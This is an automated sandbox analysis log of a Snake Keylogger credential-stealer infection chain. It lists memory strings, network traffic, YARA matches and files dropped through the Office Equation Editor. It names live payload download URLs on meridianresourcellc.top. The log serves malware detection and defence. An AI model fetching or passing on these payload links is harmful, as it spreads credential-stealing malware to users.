Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, meridianresourcellc.top.url.0.dr	String found in binary or memory: https://meridianresourcellc.top/
Source: swagodi.doc.url.0.dr	String found in binary or memory: https://meridianresourcellc.top/swagodi.doc
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.393794677.00000000042A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://meridianresourcellc.top/swagodi.scr
Source: EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://meridianresourcellc.top/swagodi.scrj
Source: EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://meridianresourcellc.top/swagodi.scrllC:
Source: EQNEDT32.EXE, 00000009.00000002.393794677.00000000042A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://meridianresourcellc.top/swagodi.scrsoC:
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024DB000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: gRpkBp.exe, 0000001D.00000002.663663825.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.330Kp
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024DB000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.334
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: EQNEDT32.EXE, 00000009.00000002.393794677.00000000042B0000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: gRpkBp.exe, 0000001D.00000002.664487526.0000000003453000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034F6000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=net
Source: gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: gRpkBp.exe, 0000001D.00000002.664487526.0000000003468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=wmf
Source: gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034C2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.0000000003468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index
Source: gRpkBp.exe, 0000001D.00000002.664487526.0000000003453000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: gRpkBp.exe, 0000001D.00000002.664487526.0000000003453000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034C2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.0000000003468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: swagodi78811.scr, 00000014.00000002.664602794.0000000003607000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.664602794.000000000351B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034AC000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.0000000003453000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/sorry/indextest

Source: unknown	Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49188
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 49189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49200
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49162
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443

Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.88:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49203 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.swagodi78811.scr.316cb90.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 20.2.swagodi78811.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.swagodi78811.scr.3129570.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.swagodi78811.scr.316cb90.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 10.2.swagodi78811.scr.3129570.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: swagodi78811.scr PID: 3468, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: swagodi78811.scr PID: 3880, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9F4A4ED3.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\swagodi[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\swagodi.doc.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\meridianresourcellc.top.url			Jump to behavior

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\swagodi78811.scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 10_2_002804D8	10_2_002804D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 10_2_00289AB0	10_2_00289AB0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 10_2_0028D000	10_2_0028D000
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 10_2_0028D4E8	10_2_0028D4E8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 10_2_0028C774	10_2_0028C774
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 10_2_0028C790	10_2_0028C790
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 10_2_0028CBC8	10_2_0028CBC8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 10_2_0028DE90	10_2_0028DE90
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020392D	20_2_0020392D
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_002031B1	20_2_002031B1
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020E190	20_2_0020E190
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_002069F0	20_2_002069F0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00204A9F	20_2_00204A9F
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00209300	20_2_00209300
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00208C20	20_2_00208C20
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00203483	20_2_00203483
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_002044F0	20_2_002044F0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_002074C8	20_2_002074C8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00204D6F	20_2_00204D6F
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00208544	20_2_00208544
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00203E28	20_2_00203E28
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00205E70	20_2_00205E70
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00209E88	20_2_00209E88
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_002047D0	20_2_002047D0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020E830	20_2_0020E830
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020E180	20_2_0020E180
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020F181	20_2_0020F181
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020D9F9	20_2_0020D9F9
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020DA08	20_2_0020DA08
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020FAB1	20_2_0020FAB1
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020ECE8	20_2_0020ECE8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0020F619	20_2_0020F619
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067F078	20_2_0067F078
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_006712A0	20_2_006712A0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00678748	20_2_00678748
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067F067	20_2_0067F067
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00672068	20_2_00672068
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00676068	20_2_00676068
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00676078	20_2_00676078
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00670040	20_2_00670040
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00674040	20_2_00674040
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00674050	20_2_00674050
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00677C08	20_2_00677C08
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00678C10	20_2_00678C10
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_006744E8	20_2_006744E8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067A8C0	20_2_0067A8C0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_006790CA	20_2_006790CA
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_006704D8	20_2_006704D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_006790D8	20_2_006790D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_006744D8	20_2_006744D8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_006780A0	20_2_006780A0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067C0A8	20_2_0067C0A8
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067A8B0	20_2_0067A8B0
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067D880	20_2_0067D880
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067D890	20_2_0067D890
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00678090	20_2_00678090
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067AD77	20_2_0067AD77
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00670970	20_2_00670970
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067C570	20_2_0067C570
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00674970	20_2_00674970
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067F540	20_2_0067F540
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067DD48	20_2_0067DD48
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067DD58	20_2_0067DD58
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00676502	20_2_00676502
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00672500	20_2_00672500
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_00676510	20_2_00676510
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_0067F9F7	20_2_0067F9F7
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Code function: 20_2_006795A0	20_2_006795A0
